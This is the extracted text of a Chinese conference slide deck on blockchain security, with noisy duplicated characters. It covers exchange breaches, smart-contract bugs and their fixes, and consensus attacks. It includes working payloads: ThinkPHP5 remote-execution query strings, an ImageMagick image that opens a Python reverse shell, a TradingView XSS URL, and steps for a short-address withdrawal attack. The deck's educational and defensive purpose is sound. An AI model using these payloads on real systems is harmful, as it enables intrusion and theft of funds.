区块链安全的至暗时刻

Size: px

Start display at page:

Download "区块链安全的至暗时刻"

祀颔寿
5 years ago
Views:

2 区块链安全的至暗时刻零时科技

3 1 区块链安全现状

4 140 区块链安全事件趋势图

5 区块链安全经济损失图 , ,428 46,568 17, ,

6 智能合约安全交易易平台安全用户自身安全共识机制安全区块链安全攻击面

7 交易易平台重大安全事件 2015 年年 Bitstamp 2015 年年 1 月, 全球知名数字货币交易易平台 Bitstamp, 系统管理理员被 APT 钓鱼攻击, 诱导其执行行恶意文件, 导致损失约 500 万美金金 2017 年年 Youbite 2017 年年 12 月, 韩国数字货币交易易平台 Youbite 遭黑客攻击, 约损失 4000 万美金金, 相当于其平台总资产的 17% 2014 年年 Mt.Gox 2014 年年 2 月, 曾经世界第一的日本交易易所 Mt.Gox 被攻击, 损失约 3.6 亿美金金, 导致其最终被迫宣布破产 2016 年年 Bitfinex 2016 年年 8 月, 全球最大美元 BTC 交易易所 Bitfinex 因网站存在漏漏洞洞遭黑客攻击, 约 12 万 BTC 被盗, 损失达 7500 万美金金 2018 Coincheck 2018 年年 1 月, 日本最大的数字货币交易易平台之一Coincheck, 由于平台系统漏漏洞洞遭黑客攻击, 损失约 5.3 亿美金金

8 一行行代码损失数亿 2016 The DAO 2016 年年 6 月, 运行行在以太坊上的 The DAO 智能合约, 由于合约中的重入漏漏洞洞, 遭受黑客攻击, 导致损失约 6000 万美金金 Msg.sender.call.value() 2017 Parity 2017 年年 7 月,Parity 的多重签名钱包智能合约被, 由于合约可见性设置错误, 导致权限验证缺陷, 导致损失约 3000 万美金金 Function initmultiowned() 2018 BEC 2018 年年 4 月,BeautyChain 的代币 BEC, 由于整数溢出漏漏洞洞, 导 Uint256 amout=uint256(cnt) * _value 致黑客攻击, 导致凭空蒸发 10 亿美金金, 价值几乎归零 2018 SMT 2018 年年 4 月,SmartMesh 的代币 SMT, 由于整数溢出漏漏洞洞, 导 Balances[_from] -= _value + _feesmt 致黑客攻击, 导致损失约 1.4 亿美金金

9 EOS dapp 漏漏洞洞泛滥自 2018 年年 6 月 EOS 主网上线不不久,DApp 交易易额迅速超过 ETH, EOS 上线至今 DApp 交易易额近 200 亿流水据区块链安全情报分析,EOS DAPP 平均每周被爆 1.5 起黑客攻击据 IMEOS 平台统计, 截止2018 年年 12 月 EOS DAPP 共遭受攻击 30 多起 EOSBank BetDice 自 2018 年年 12 月 19 日, 多个 EOS dapp 遭受交易易会滚攻击, 进 BetDice 损失 20 余万 EOS 自 2018 年年 10 月 5 日,EOSBank 合约由于 owner 权限被改, 导致黑客攻击, 损失个 EOS EOSBet 自 2018 年年 8 月 26 日起,EOSBet 由于验证错误假通知漏漏洞洞一共遭受 3 次攻击,44427 个 EOS 狼人杀游戏 2018 年年 7 月 25 日,EOS Fomo3D 游戏合约遭受溢出攻击, 损失个 EOS

10 共识机制安全钱包安全用户自身安全链安全

11 2 平台安全

12 区块链生态基础设施安全 SQL 注入攻击命令执行行 XSS CSRF SSRF 文件上传逻辑漏漏洞洞 DDos DNS 劫持信息泄露露钓鱼攻击 APP 终端安全第三方组件安全越权操作弱口令

13 信息泄露露

14 git 信息泄露露 svn 信息泄露露备份文件 memcache 缓存 DNS 域传送互联网数据泄露露客户端硬编码

15 git 信息泄露露 svn 信息泄露露备份文件 memcache 缓存 DNS 域传送互联网数据泄露露客户端硬编码 hybrid.*****.com git:(master) ls -lh total 0 drwxr-xr-x 22 tank staff 748B :46 general drwxr-xr-x 20 tank staff 680B :09 wenku 白盒审计文件上传漏漏洞洞 getshell 进入内网

16 git 信息泄露露 svn 信息泄露露备份文件 memcache 缓存 DNS 域传送互联网数据泄露露客户端硬编码

17 git 信息泄露露 svn 信息泄露露备份文件 memcache 缓存 DNS 域传送互联网数据泄露露客户端硬编码 windows: nslookup set type=ns noneage.com server ns1.myhostdomain.net ls -d noneage.com Linux: dig NS noneage.com dig noneage.com

18 git 信息泄露露 svn 信息泄露露备份文件 memcache 缓存 DNS 域传送互联网数据泄露露客户端硬编码

19 逻辑漏漏洞洞

20 任意用户登陆任意用户密码重置支付验证缺陷 0 元购薅羊毛

21 EOS.live 任意用户登陆任意用户登陆任意用户密码重置支付验证缺陷 0 元购薅羊毛

22 任意用户登陆任意用户密码重置支付验证缺陷 0 元购薅羊毛

23 任意用户登陆任意用户密码重置支付验证缺陷 0 元购薅羊毛

24 XSS+CSRF=XSRF 蠕虫

25 第三方组件安全

26 ThinkPHP5 的一波三折 index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=6f80b1b7 s=ls&_method= construct&method=&filter[]=system _method= construct&method=get&filter[]=system&server[request_method]=ls c=exec&f=ls&_method=filter

27 ThinkPHP5 的一波三折

28 ImageMagick RCE >>>shellexec.jpeg %!PS userdict /setpagedevice undef save legal { null restore } stopped { pop } if { legal } stopped { pop } if restore mark /OutputFile (%pipe%python -c 'import socket,subprocess,os;s=socket.socket(socket.af_inet,socket.sock_stream);s.connect((" ", 8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.all(["/bin/sh","-i"]);') currentdevice putdeviceprops convert shellexec.jpeg shell.gif

29 通用型 CMS 通用型漏漏洞洞近百个, 威胁数百家交易易平台

TradingView XSS https://www.victim.com/scripts/tchartlibrarycoin/charting_library/static/tv-chart.

30 TradingView XSS 630b704a2b9d0eaf1593.html#disabledFeatures=[]&enabledFeatures=[]&indicatorsFile=data:application/ javascript,alert('noneage')//

31 其他组件 Redis Mongodb CouchDB Memcache Elasticsearch Jenkins 命令执行行 + 信息泄露露资产状态监控, 攻击自动化 Struts2 Docker Remote API

32 任意文件上传

33 严重漏漏洞洞可直接 GetShell 进入内网任意文件上传

34 3 智能合约安全

35 高危中危低危整数溢出重入攻击假充值浮点数和数值精度代币增发冻结账户绕过短地址攻击未验证返回值非预期的 Ether 默认可见性 tx.origin 身份认证 Delegatecall 函数调用 Call 函数调用拒绝服务逻辑设计缺陷未初始化的存储指针错误的构造函数不不安全的随机数时间戳依赖交易易顺序依赖智能合约安全审计点单个漏漏洞洞可能是中危低危, 但是结合起来可能就是高危了了

36 数值运算打开智能合约安全的潘多拉魔盒

37 整数溢出数值精度加法溢出减法溢出乘法溢出 2** = = 2** ** 255 * 2 = 0 漏漏洞洞详情解析及演示地址 : 以太坊智能合约漏漏洞洞实战详解 : 整数溢出攻击 /

38 整数溢出数值精度 BEC SMT FNT

39 整数溢出数值精度 BEC SMT FNT BEC 合约地址 :0xC5d105E aF9bbff092d4B6769C82F793D function batchtransfer(address[] _receivers, uint256 _value) public whennotpaused returns (bool) { uint cnt = _receivers.length; uint256 amount = uint256(cnt) * _value; // 溢出点, 这里里存在整数溢出 require(cnt > 0 && cnt <= 20); require(_value > 0 && balances[msg.sender] >= amount); balances[msg.sender] = balances[msg.sender].sub(amount); for (uint i = 0; i < cnt; i++) { balances[_receivers[i]] = balances[_receivers[i]].add(_value); Transfer(msg.sender, _receivers[i], _value); } return true; }

40 整数溢出数值精度 BEC SMT FNT

41 整数溢出数值精度 BEC SMT FNT

42 整数溢出数值精度

43 FNT 整数溢出漏漏洞洞实战

44 整数溢出数值精度 Solidity 没有浮点型运算结果只保留留整数部分先乘后除的运算顺序导致结果会放大误差 contract FunWithNumbers{ uint constant public tokenperseth = 10; uint constant public weipereth = 1e18; mapping(address => uint) public balances; function buytokens() public payable { uint tokens = msg.value/weipereth * tokenspereth; balances[msg.sender] += tokens; } } function selltokens(uint tokens) public { require(balances[msg.sender] >= tokens); uint eth = tokens/tokenspereth; balances[msg.sender] -= tokens; msg.sender.transfer(eth*weipereth); }

45 攻击防御方案使用 SafeMath 机制进行行数值运算操作增加风控机制, 被攻击后立即暂停合约注意运算顺序, 先乘后除

46 假充值漏漏洞洞信息不不对称导致针对数字货币相关平台的攻击方式

47 ETH 假充值漏漏洞洞以太坊交易易回执中状态 status 的内容是根据交易易事务执行行过程中是否抛出异常来决定的异常则为 false 正常则为 true transfer 转账失败, 但是函数运行行正常则返回 status 内容为 true

48 ETH 假充值漏漏洞洞错误的编发方式 function transfer(address _to, uint256 _value) public returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } ETH 假充值漏漏洞洞正确的编发方式 function transfer(address _to, uint256 _value) public returns (bool success) { require(_to!= address(0)); require(balances[msg.sender] >= _value); require(_value > 0); } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true;

49 ETH 假充值漏漏洞洞

50 BTM 合约假充值漏漏洞洞实战

51 攻击防御方案在合约中出现错误立即跑出异常回滚 require if/else + revert/throw 基于 Event 事件进行行判断, 但是需要注意恶意 Event 事件合约部署主网之前做好严格的安全审计, 应该严格执行行最佳安全实践邀请第三方职业安全审计机构完成严谨完备的安全审计

52 短地址攻击

53 ETH 短地址攻击 EVM 虚拟机在解析合约的字节码时, 依赖的是 ABI 的定义, 从而去识别各个字段位于字节码的什什么地方一般 ERC-20 TOKEN 标准的代币都会实现 transfer 方法, 这个方法在 ERC-20 标签中的定义为 : function transfer(address to, uint tokens) public returns (bool success); 第一参数是发送代币的目的地址, 第二个参数是发送 token 的数量量以太坊 ABI 编码规范 :

54 ETH 短地址攻击 function transfer(address _to, uint256 _amount) { require(balances[msg.sender] > _amount); balances[msg.sender] -= _amount; balances[_to] += _amount; } 当我们调用transfer 函数向某个地址发送 N 个 ERC-20 代币的时候, 交易易的 input 数据分为 3 个部分 0xa9059cbb -> bytes4(keccak256("transfer(address,uint256)")) bec9abe373123b9b635b75608f94eb e

55 ETH 短地址攻击 function transfer(address _to, uint256 _amount) { require(balances[msg.sender] > _amount); balances[msg.sender] -= _amount; balances[_to] += _amount; } 0xa9059cbb -> bytes4(keccak256("transfer(address,uint256)")) bec9abe373123b9b635b75608f94eb

56 ETH 短地址攻击 function transfer(address _to, uint256 _amount) { require(balances[msg.sender] > _amount); balances[msg.sender] -= _amount; balances[_to] += _amount; } 0xa9059cbb -> bytes4(keccak256("transfer(address,uint256)")) bec9abe373123b9b635b75608f94eb

57 ETH 短地址攻击 function transfer(address _to, uint256 _amount) { require(balances[msg.sender] > _amount); balances[msg.sender] -= _amount; balances[_to] += _amount; } 0xa9059cbb -> bytes4(keccak256("transfer(address,uint256)")) bec9abe373123b9b635b75608f94eb

58 ETH 短地址攻击 function transfer(address _to, uint256 _amount) { require(balances[msg.sender] > _amount); balances[msg.sender] -= _amount; balances[_to] += _amount; } 0xa9059cbb -> bytes4(keccak256("transfer(address,uint256)")) bec9abe373123b9b635b75608f94eb Event Name : Transfer Return Values: _from: 0x58bad aea5bc5de02bce6dd7aae55cce5 _to: 0x62bec9abe373123b9b635b75608f94eb _value: x

59 ETH 短地址攻击方法 1. 首先生成一个账号末尾为 2 个 0 的 ETH 账号地址, 比如 MyLinkToken 工具 2. 找一个交易易所钱包, 该钱包里里token 数量量大于 512, 往这个钱包发送 2 个币 3. 然后再从这个钱包中提出 2 个币, 当然这时候写转账地址的时候把最后两个 0 去掉 4. 参数会被传入到 msg.data 中, 然后调用合约的 transfer 方法, 此时如果交易易所并没有校验用户填入的以太坊地址, 就可以把 512 个币提出来

60 攻击防御方案严格验证传入地址参数的格式 contract NonPayloadAttackableToken { modifier onlypayloadsize(uint size) { assert(msg.data.length == size + 4); _; } } function transfer(address _to, uint256 _value) onlypayloadsize(2 * 32) { } // do stuff

61 其他智能合约漏漏洞洞智能合约 &dapp 安全攻防实战系列列零时科技官方博客 : 零时科技知识星球 : 零时科技

62 智能合约攻防实战代码执行行 + 验证绕过

63 Call 函数代码执行行攻击 Call 代码执行行漏漏洞洞, 顾名思义就是外界可以直接控制合约中的 call 方法调用的参数按照注入位置可以分为以下三个场景 : 参数列列表可控 <address>.call(bytes4 selection, arg1, arg2, ) 方法选择器器可控 <address>.call(bytes4selection, arg1, arg2, ) Bytes 可控 <address>.call(bytesdata) <address>.call(msg.data)

64 Call 函数代码执行行攻击 contract ECEC{ function info(bytes data){ this.call(data) ; } } function secret() public{ require(this == msg.sender); // secret operations } 利利用关键点 : 1. info 函数的默认可见性为 public 2. info 函数的 call 函数调用可以控制参数

65 CTF 题目要求 : 转账合约中的全部代币 CTF.sol

66 4 共识机制安全

67 51% 算计攻击种族攻击芬妮攻击 Vector 76 攻击替代历史攻击 PoW 共识双花攻击方法

68 PoW 共识的噩梦 51% 攻击

70 ETC 双花攻击过程分析

71 4 区块链安全未来

72 区块链安全未来区块链产业的发展, 深入到各行行各业, 越来越多的攻击面传统安全与区块链安全结合基础设施安全智能合约安全 dapp 安全区块链威胁情报新型区块链恶意行行为

73 区块链安全未来

74 区块链安全未来 Code is law 区块链安全事件每天都在发生黑客攻击已经自动化, 工程化, 随时随地发起攻击

75 整体安全解决方案加强区块链基础设施平台安全建设智能合约代码审计 dapp 的代码审计开展漏漏洞洞赏金金计划提高人员安全意识接入区块链威胁情报

76 谢谢

区块链亡灵军团

HITCON Pacific 2018 区块链亡灵军团 Undead Armies of Blockchain 慢雾科技 2018.12 关于慢雾科技 (SlowMist) 专注区块链生态安全 https://slowmist.com & https://slowmist.io 演讲者余弦, 慢雾科技联合创始人 Thinking, 慢雾科技安全研究员致谢慢雾安全团队及慢雾的伙伴们目录